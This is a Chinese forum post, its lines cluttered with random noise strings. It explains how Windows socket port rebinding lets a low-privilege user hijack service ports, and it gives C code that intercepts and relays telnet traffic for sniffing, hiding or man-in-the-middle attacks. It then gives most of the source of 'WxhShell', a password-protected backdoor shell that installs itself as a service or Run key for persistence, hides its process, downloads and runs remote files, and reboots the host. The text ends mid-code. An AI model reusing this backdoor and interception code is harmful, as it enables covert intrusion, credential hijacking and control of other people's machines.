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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *Dn{MD7,M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M]2 c-  
jlB3BwG{w  
  saddr.sin_family = AF_INET; ^KlOD_GN|  
LY>JE6zTt  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /t/q$X  
&><`?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p-}:7CXP  
4S=lO?\"A  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #Z.JOwi  
}a`LOBne  
  这意味着什么?意味着可以进行如下的攻击: '-x%?Ll  
J0oR]eT}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 EAI[J&c  
+2g3%c0}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) zPXd]jIwV  
iO@wqbg$6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^Nu} HcC+  
u>eu47"n!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?R+$4;iy  
Jq!($PdA  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `Ctj]t  
Y}6)jzBV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 UvI!e4_  
pI!55w|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^>" ?!lv  
:b=0_<G  
  #include bcZonS  
  #include ob;oxJ@[c  
  #include %(]rc%ry0  
  #include    BE2{qO{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   N3?d?+A$  
  int main() [q@%)F  
  { G9i#_  
  WORD wVersionRequested;  l gC  
  DWORD ret; qL#R XUTP  
  WSADATA wsaData; IF}r%%'Y$  
  BOOL val; t|q=NK/  
  SOCKADDR_IN saddr; }>w; +XU  
  SOCKADDR_IN scaddr; d?K8Ygz  
  int err; ..t=Y#  
  SOCKET s; 8ah]D  
  SOCKET sc; DkIkiw{L  
  int caddsize; n&fV3[m`2  
  HANDLE mt; a$GKrc,z  
  DWORD tid;   B/71$i   
  wVersionRequested = MAKEWORD( 2, 2 ); m|k,8guG  
  err = WSAStartup( wVersionRequested, &wsaData ); Wama>dy%  
  if ( err != 0 ) { ra&C|"~E  
  printf("error!WSAStartup failed!\n"); )\(pDn$W  
  return -1; kr?| >6?  
  } j{=%~  
  saddr.sin_family = AF_INET; 2S;zze7)  
   p5KNqqZZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *v9G#[gG  
[>0r'-kI  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +M*a.ra0OF  
  saddr.sin_port = htons(23); 8M|Q^VeT,1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,aJrN!fzU  
  { vEsSqzc  
  printf("error!socket failed!\n"); \9p;md`  
  return -1; 6yb<4@LOb  
  } v^tKT&  
  val = TRUE; Ie~~LU  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 EkX6> mo  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *E]\l+]J  
  { %c0;Bb-  
  printf("error!setsockopt failed!\n"); `FwAlYJK  
  return -1; mm8O  
  } { SfU!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $W]bw#NH  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Oc.>$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !xI![N^  
\a!<^|C&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {aSq3C<r  
  { rXPXO=F1/  
  ret=GetLastError(); {>Px.%[<  
  printf("error!bind failed!\n"); 5*AKl< Jl  
  return -1; #vSI_rt9I  
  } `9-Zg??8r  
  listen(s,2); J$;)TI  
  while(1) <Va>5R_d<  
  { ( ~>Q2DS  
  caddsize = sizeof(scaddr); T!PX?  
  //接受连接请求 gm DC,"Y<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wu')Q/v  
  if(sc!=INVALID_SOCKET) 7L*`nU|h  
  { 3fPv71NVtt  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v,0DGR~  
  if(mt==NULL) wLbngO=VG  
  { i`qh|w/b_  
  printf("Thread Creat Failed!\n"); `2PT 8UM  
  break; 9o`3g@6z  
  } 7 SZR#L  
  } : +Kesa:E  
  CloseHandle(mt); 5*$Zfuf  
  } 2e"}5b5  
  closesocket(s); 9x!y.gx  
  WSACleanup(); %u}sVRJ  
  return 0; vknFtpx  
  }   Vd4osBu{fY  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;"Y6&YP<  
  { #F@7>hd1  
  SOCKET ss = (SOCKET)lpParam; U:r2hqegd  
  SOCKET sc; OT i3T1&  
  unsigned char buf[4096]; w3>|mDA}I  
  SOCKADDR_IN saddr; vvxj{fxb)  
  long num; ]Ho`*$dD  
  DWORD val; }3 }=tN5  
  DWORD ret; rRYf.~UH@P  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -cgukl4Va  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   FS:WbFmc  
  saddr.sin_family = AF_INET; vEGK{rMA  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ysu/7o4  
  saddr.sin_port = htons(23); 5ov%(QI  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *q{UipZbx  
  { $Stu-l1e a  
  printf("error!socket failed!\n"); $P3nP=mf  
  return -1; OB22P%  
  } ?sYjFiE  
  val = 100; ub5hX{uT  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Hea<!zPH  
  { Y=Qf!Cq]  
  ret = GetLastError(); W<"\hQI  
  return -1; `'WLGQG  
  } Kf#!IY][  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sjm79/  
  {  t;Om9  
  ret = GetLastError(); Z > =Y  
  return -1; kqw? X{  
  } QEa=!O  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #1@~w}Dh  
  { 46Nf|~  
  printf("error!socket connect failed!\n"); UmX[=D|  
  closesocket(sc); (_ah~VnO  
  closesocket(ss); ~py0Vx,F  
  return -1; '.,.F0{x  
  } xQap44KPZ  
  while(1) b_ yXM  
  { Bq_P?Q+\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 NCt sx /C  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Xf9%A2 iB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ()?co<@(l  
  num = recv(ss,buf,4096,0); p)xI5,b$9  
  if(num>0) )7g_v*  
  send(sc,buf,num,0); *(B[J  
  else if(num==0) <t% A)L%  
  break; VY@hhr1s~  
  num = recv(sc,buf,4096,0); EG4bFmcs  
  if(num>0) [t{ #@X  
  send(ss,buf,num,0); !U:s.^{  
  else if(num==0) ecpUp39\  
  break; Y{RB\}f(  
  } +Q31K7Gr  
  closesocket(ss); #%b()I_([  
  closesocket(sc); }c ;um  
  return 0 ; )Cvzj<Q0  
  } DAHf&/J K  
y4We}/-<  
`e>F<{ M6@  
========================================================== :b*`hWnQ  
LoE(W|nj  
下边附上一个代码,,WXhSHELL &xroms"S=  
e-3pg?M  
========================================================== O&iYGREO  
GD{fXhgk  
#include "stdafx.h" ZM`P~N1?)g  
a9zph2o-  
#include <stdio.h> h\*rv5\M  
#include <string.h> %L>nXj  
#include <windows.h> ~PW}sN6ppG  
#include <winsock2.h> iCRw}[[  
#include <winsvc.h> <<5 :zlb  
#include <urlmon.h> |!5T+H{Sj  
9w;J7jgOT!  
#pragma comment (lib, "Ws2_32.lib") #aY<J:Nx  
#pragma comment (lib, "urlmon.lib") 1[g!^5W  
y6jmn1K  
#define MAX_USER   100 // 最大客户端连接数 gzCMJ<3!D  
#define BUF_SOCK   200 // sock buffer %%cSvPcz  
#define KEY_BUFF   255 // 输入 buffer  Cmx2/N  
0nq}SH  
#define REBOOT     0   // 重启 p6Dv;@)Yn  
#define SHUTDOWN   1   // 关机 Dh(T) yc  
!riMIl1  
#define DEF_PORT   5000 // 监听端口 iv z?-X4]  
w <>6>w@GZ  
#define REG_LEN     16   // 注册表键长度 ak8^/1*@  
#define SVC_LEN     80   // NT服务名长度 LiD |4(3  
L Yg$M@  
// 从dll定义API RG r'<o)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Po11EZa$a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -s%-*K+,W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WfT)CIKs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iSz@E&[X  
m2q;^o:J  
// wxhshell配置信息 'h6} cw+K  
struct WSCFG { 3k*:B~1  
  int ws_port;         // 监听端口 :CST!+)o  
  char ws_passstr[REG_LEN]; // 口令 _7.GzQJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no |;u%JW$4  
  char ws_regname[REG_LEN]; // 注册表键名 ca3BJWY}J  
  char ws_svcname[REG_LEN]; // 服务名 yb{{ z@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GHC?Tp   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (<R\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |5B,cB_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p/WH#4Xdr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8 ]06!7S}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *tfDXQ^mN  
b}&7~4zw  
}; a$zm/  
3^R][;  
// default Wxhshell configuration nR@,ouB-$  
struct WSCFG wscfg={DEF_PORT, +>:_kE]?nX  
    "xuhuanlingzhe", `TD%M`a  
    1, ?I2k6%a  
    "Wxhshell", h3]@M$Y[  
    "Wxhshell", Q@W|GOH3  
            "WxhShell Service", 7|M$W(P  
    "Wrsky Windows CmdShell Service", Z: lB:U'o  
    "Please Input Your Password: ", AK s39U'  
  1, )Z8"uRTb0  
  "http://www.wrsky.com/wxhshell.exe", |Iok(0V  
  "Wxhshell.exe" {I9 N6BQ&  
    }; UK~B[=b9  
9p\Hx#^  
// 消息定义模块 M Hnf\|DX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5 2@udp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nl-t<#z[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q_]!an(  
char *msg_ws_ext="\n\rExit."; $dZ>bXUw:  
char *msg_ws_end="\n\rQuit."; &.  =}g]  
char *msg_ws_boot="\n\rReboot..."; ELrZ8&5G  
char *msg_ws_poff="\n\rShutdown..."; "gbnLKs  
char *msg_ws_down="\n\rSave to "; q?Ku}eID3  
UC+7-y,  
char *msg_ws_err="\n\rErr!"; le^_6| ek  
char *msg_ws_ok="\n\rOK!"; x<*IF,o  
aEEz4,x_  
char ExeFile[MAX_PATH]; uVq5fT`B  
int nUser = 0; V3 _b!  
HANDLE handles[MAX_USER]; Q3Z%a|3W  
int OsIsNt; 9oj e`Ay  
#7~tL23}]  
SERVICE_STATUS       serviceStatus; I*:qGr+ WJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ck3QrfM  
?zhI=1 ED%  
// 函数声明 3Zaq#uA  
int Install(void); N0K>lL=  
int Uninstall(void); jV4hxuc$  
int DownloadFile(char *sURL, SOCKET wsh); VM!-I8t  
int Boot(int flag); +Y5(hjE  
void HideProc(void); BA1MGh  
int GetOsVer(void); GcZM+c  
int Wxhshell(SOCKET wsl); l~fh_IV1  
void TalkWithClient(void *cs); xgtJl}L  
int CmdShell(SOCKET sock); _z<Y#mik  
int StartFromService(void); cVB|sYdf  
int StartWxhshell(LPSTR lpCmdLine); $(KIB82&  
?@lx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Esz1uty  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |B%BwE  
 `CA G8D  
// 数据结构和表定义 y|e2j&m  
SERVICE_TABLE_ENTRY DispatchTable[] = |6sT,/6  
{ dXhCyr%"6  
{wscfg.ws_svcname, NTServiceMain}, A#Q0{z@H  
{NULL, NULL} Ox7uG{t$#  
}; 1Nl&4YLO  
Q/QQ:t<XUi  
// 自我安装 qab) 1ft  
int Install(void) pcRF: ~TE  
{ )BF \!sTn  
  char svExeFile[MAX_PATH]; u>,lf\Fgz  
  HKEY key; to!mz\F  
  strcpy(svExeFile,ExeFile); e0v9uQ%F5  
;Na8 _}  
// 如果是win9x系统,修改注册表设为自启动 nW $A^  
if(!OsIsNt) { Z]x  5!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &Rt+LN0qB0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FE8+E\ U?  
  RegCloseKey(key); ){O1&|z-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qE#&)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qPXANx<^  
  RegCloseKey(key); zdLVxL>87  
  return 0; Jw:Fj {D  
    } *=$[}!YG  
  } /'&.aGW4%  
} Wj&<"Z6'm(  
else { k_*XJ<S!Y  
VO. -.  
// 如果是NT以上系统,安装为系统服务 b?Cmc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2!{_/@I\Y  
if (schSCManager!=0) 0NL :z1N-h  
{ >vD['XN,  
  SC_HANDLE schService = CreateService mD D4_E2*  
  ( _l#3]#  
  schSCManager, ERp:EZ'  
  wscfg.ws_svcname, %rM-"6Q  
  wscfg.ws_svcdisp, A+0T"2  
  SERVICE_ALL_ACCESS, )3]83:lD2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @@xO+$6  
  SERVICE_AUTO_START, HCX!P4Hj  
  SERVICE_ERROR_NORMAL, j}|N^A_ S  
  svExeFile, UfK4eZx*`  
  NULL, &Q'\WA'  
  NULL, nmD1C_&  
  NULL, CDQJ bvx  
  NULL, X+`ddX  
  NULL -@%t"8  
  ); PU^[HC*K  
  if (schService!=0) W:VW_3  
  { ?-pxte8  
  CloseServiceHandle(schService); P<>[e9|  
  CloseServiceHandle(schSCManager); %'{V%IXQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); " t5 +*  
  strcat(svExeFile,wscfg.ws_svcname); qxf+#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q<RT12|`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~8jThi U  
  RegCloseKey(key); K H>Sc3p  
  return 0; "[awmZ:wo  
    } J Z %`%rA  
  } ijvNmn1k  
  CloseServiceHandle(schSCManager); r@|R-Binz  
} m3U+ du  
} ^D9 /  
- ,R0IGS  
return 1; nHI(V-E2:H  
} >:.w7LQy/  
rU; g0'4e  
// 自我卸载 *mf}bTiS  
int Uninstall(void) aN>U. SB  
{ $|Q".dD  
  HKEY key; )2) Zz +<  
D8k*0ei&  
if(!OsIsNt) { NOF?LV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @b]VCv0*f%  
  RegDeleteValue(key,wscfg.ws_regname); jZa25Z00  
  RegCloseKey(key); >oe4mW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w>v5oy8s-  
  RegDeleteValue(key,wscfg.ws_regname); D35m5+=I  
  RegCloseKey(key); >ysriPnQ  
  return 0; .KFA218h*x  
  } ?O!]8k`1$  
} I_:t}3s  
} uPFRh~ (b  
else { NU|qX {-  
_mw13jcN]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J=@hk@Nq#  
if (schSCManager!=0) 1T!cc%ah  
{ '!pAnsXfO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vkd *ER^  
  if (schService!=0) M,&tA1CH  
  { $ b4*/vMr  
  if(DeleteService(schService)!=0) { cE^kpnVq|<  
  CloseServiceHandle(schService); :[ L{KFQU  
  CloseServiceHandle(schSCManager); c L?\^K)  
  return 0; D._{E*vg  
  } U%Dit  
  CloseServiceHandle(schService); {*sGhGwr  
  } IZ+ *`E  
  CloseServiceHandle(schSCManager); d "2wO[  
} lrCm9Oy  
} (gLea  
W5pn;u- sz  
return 1; *:?QB8YJ  
} b([:,T7  
y^9bfMA  
// 从指定url下载文件 I9;xzES  
int DownloadFile(char *sURL, SOCKET wsh) >g=^,G}y  
{ <BZ_ (H  
  HRESULT hr; 1d`cTaQ-  
char seps[]= "/"; K-Re"zsz  
char *token; pV8[l)J  
char *file; }(m1ql  
char myURL[MAX_PATH]; 4/b(Y4$,[r  
char myFILE[MAX_PATH]; ,cLH*@  
g&Z"_7L~  
strcpy(myURL,sURL); 9`&?hi49nK  
  token=strtok(myURL,seps); S3ErH,XB.  
  while(token!=NULL) `a-Bji?  
  { %z30=?VL  
    file=token; gRHtgR)T3  
  token=strtok(NULL,seps); z3clUtC+  
  }  64SW  
H4W1\u  
GetCurrentDirectory(MAX_PATH,myFILE); Ih; aBS  
strcat(myFILE, "\\"); S[Vtq^lU  
strcat(myFILE, file); |0lLl^zp  
  send(wsh,myFILE,strlen(myFILE),0); kPWBDpzN  
send(wsh,"...",3,0); :RHm*vt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p*Xix%#6  
  if(hr==S_OK) TFo}\B7  
return 0; )GK+  
else !-7_ +v>  
return 1; ># INEO  
x9h?e`  
} ;r3}g"D@  
tp@*=*^I  
// 系统电源模块 ~H7!MC~K  
int Boot(int flag) H*GlWgfG  
{ w:v=se"U  
  HANDLE hToken; N=q#y@L  
  TOKEN_PRIVILEGES tkp; <o2,HTWNPS  
rjXnDh]MC  
  if(OsIsNt) { aFyh,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |hc\jb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l(#1mY5!q8  
    tkp.PrivilegeCount = 1; grc:Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0',[J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M%3Wy"YQ,n  
if(flag==REBOOT) { GKCM|Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "3wv:BL  
  return 0; hzq5![/sV  
} ?HV}mS[t  
else { t-x[:i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zOL;"/R  
  return 0; ;uK";we  
} *<7l!#  
  } g@Ld"5$^2  
  else { d @m\f  
if(flag==REBOOT) { bf1)M>g,O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7 I@";d8~  
  return 0; qIz}$%!A  
} mf$Sa58  
else { g &*mozs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CG.,/]_  
  return 0; S"Kq^DN  
} P<vo;96JT  
} ##v`(#fu  
;?zF6zvQ  
return 1; 07FT)QTE  
} fCg@FHS&^  
';Nu&D#Ph  
// win9x进程隐藏模块 St+ "ih%  
void HideProc(void) :G#KB'  
{ ?,>5[Ha^?  
8TW5(fl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "oe!M'aj`1  
  if ( hKernel != NULL ) @7%.7LK  
  { i-]U+m*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \ADLMj`F|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L:pUvcAc?  
    FreeLibrary(hKernel); O>%$q8x@i  
  } m<3w^mww  
tvGlp)?.  
return; []gRfM]$&  
} 2QL?]Vo  
\sITwPA[z  
// 获取操作系统版本 ' Rc#^U*n  
int GetOsVer(void) Z%OW5]q  
{ b)`pZiQP  
  OSVERSIONINFO winfo; >Mw'eQ0(y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ws[/  
  GetVersionEx(&winfo); 7E\g &R.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O@wK[(w^  
  return 1; \2>3Opt  
  else #|?8~c;RWG  
  return 0; (0R2T"/  
} xp^ 7#`MJ?  
e1UITjy  
// 客户端句柄模块 f3 vF"O  
int Wxhshell(SOCKET wsl) BPewc9RxV  
{ P$OUi!"  
  SOCKET wsh; xCq'[9oU  
  struct sockaddr_in client; $''UlWK  
  DWORD myID; 1x{kl01m%  
_C$X04bU3V  
  while(nUser<MAX_USER) XXm'6xD-  
{ bcn7,ht  
  int nSize=sizeof(client); bb1  f/C%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #q;z8 @  
  if(wsh==INVALID_SOCKET) return 1; |z*>ixK  
#x)8f3I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (hN?:q?'  
if(handles[nUser]==0) #kci=2q_  
  closesocket(wsh); Ha)np  
else =k_UjwgN^  
  nUser++; r^5jh1  
  } \<V)-eB   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); En\Z#0,V  
P0 b4Hq3  
  return 0; ({ k7#1 h8  
} X}W)3v  
^1 ;BiQ  
// 关闭 socket P,ydt  
void CloseIt(SOCKET wsh) i/*,N&^  
{ )i-gs4[(QN  
closesocket(wsh); Mq'IkSt'  
nUser--; G "brT5:  
ExitThread(0); >f@ G>H)+  
} y\,f6=%k  
" #v%36U  
// 客户端请求句柄 oM-[B h]A  
void TalkWithClient(void *cs) Sc_5FX\Yx  
{ `HyF_m>\  
J^:n* C  
  SOCKET wsh=(SOCKET)cs; ~},W8\C>  
  char pwd[SVC_LEN]; t^U^Tr  
  char cmd[KEY_BUFF]; AY88h$a  
char chr[1]; 2y%R:Mu  
int i,j; BIj   
c\K<sM{  
  while (nUser < MAX_USER) { $>r5>6  
:)4*^a/lC  
if(wscfg.ws_passstr) { Mk5RHDh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $3\,h; y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YlKFw|=  
  //ZeroMemory(pwd,KEY_BUFF); Y.-S=Y   
      i=0; ^Xs]C|=W  
  while(i<SVC_LEN) { q.T:0|  
H,K`6HH  
  // 设置超时 JC2*$qu J  
  fd_set FdRead; B;W(iI  
  struct timeval TimeOut; X8R1a?  
  FD_ZERO(&FdRead); pkk4h2Ah  
  FD_SET(wsh,&FdRead); GTAf   
  TimeOut.tv_sec=8; (a#pvEY  
  TimeOut.tv_usec=0; 0Oap39  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6t m \L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -Qb0:]sV#  
=/}X$,@2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5@f5S0 Y  
  pwd=chr[0]; &<0ZUI |S3  
  if(chr[0]==0xd || chr[0]==0xa) { T 6HU*(  
  pwd=0; H~Uq?!=b  
  break; wOg,SMiq  
  } %{'4. ,  
  i++; g>n0z5&TNF  
    } A[JM4x   
iLtc HpN  
  // 如果是非法用户,关闭 socket #jP/k.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yU_9a[$V  
} |';7v)CIG  
,LUTHWEo"I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k|B2@{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @i1q]0  
j^ EbO3  
while(1) { qm%nIU \*  
m~>@BCn;  
  ZeroMemory(cmd,KEY_BUFF); [W;[v<E;  
^y Vl"/  
      // 自动支持客户端 telnet标准   uJ8{HB  
  j=0; -J?~U2  
  while(j<KEY_BUFF) { D=&K&6rr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?,XC =}  
  cmd[j]=chr[0]; 9@y3IiZ"}  
  if(chr[0]==0xa || chr[0]==0xd) { 6+PGwCS  
  cmd[j]=0; ri+U0[e3  
  break; vr4S9`,  
  } Ue7 6py9  
  j++; [:B*6FXMN~  
    } <|H ?gfM  
m UgRm]  
  // 下载文件 XTo8,'UaP  
  if(strstr(cmd,"http://")) { E {>`MNj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GV6mzD@ <  
  if(DownloadFile(cmd,wsh)) q-IWRb0j%a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v8'5pLt"  
  else F1c&0*_A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =x H~ww (D  
  } 2C1+_IL   
  else { %),!2_ x~  
uvv.WbZ  
    switch(cmd[0]) { ,Rz }=j  
  o;QZe&  
  // 帮助 SdI1}&  
  case '?': { -9-fX(I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'C~9]Y].  
    break; j)L1H* S%  
  } /s`;9)G]9  
  // 安装 j-32S!  
  case 'i': { 6?o>{e7n^  
    if(Install()) 6mHhC?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a D|Yo  
    else HcO5?{2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aYVDp{_  
    break; eqhAus?)  
    } o](.368+4  
  // 卸载 Euu ,mleM  
  case 'r': { )4uq iA6  
    if(Uninstall()) y<M]dd$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :hP58 }Q$  
    else !01i%W'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !<r8~A3!(  
    break; [H^ X"D  
    } _}ele+  
  // 显示 wxhshell 所在路径 $?f]ZyZr.  
  case 'p': { =P]GPEz_  
    char svExeFile[MAX_PATH]; PEzia}m  
    strcpy(svExeFile,"\n\r"); @?a4i  
      strcat(svExeFile,ExeFile); `bqzg  
        send(wsh,svExeFile,strlen(svExeFile),0); 7$_ :sJ  
    break; 7I3:u+  
    } Jck"Ks  
  // 重启 kl<g;3  
  case 'b': { 4z0L ke  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2.qpt'p[  
    if(Boot(REBOOT)) 0N5bPb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Uy>eji}  
    else { e1 ^l.>2d6  
    closesocket(wsh); uV77E*+7\  
    ExitThread(0); +c?ie4   
    } ^Y 7U1I  
    break; ,8VXA +'_  
    } yVYkuO  
  // 关机 >76 |:Nq  
  case 'd': { [YE?OQ7#  
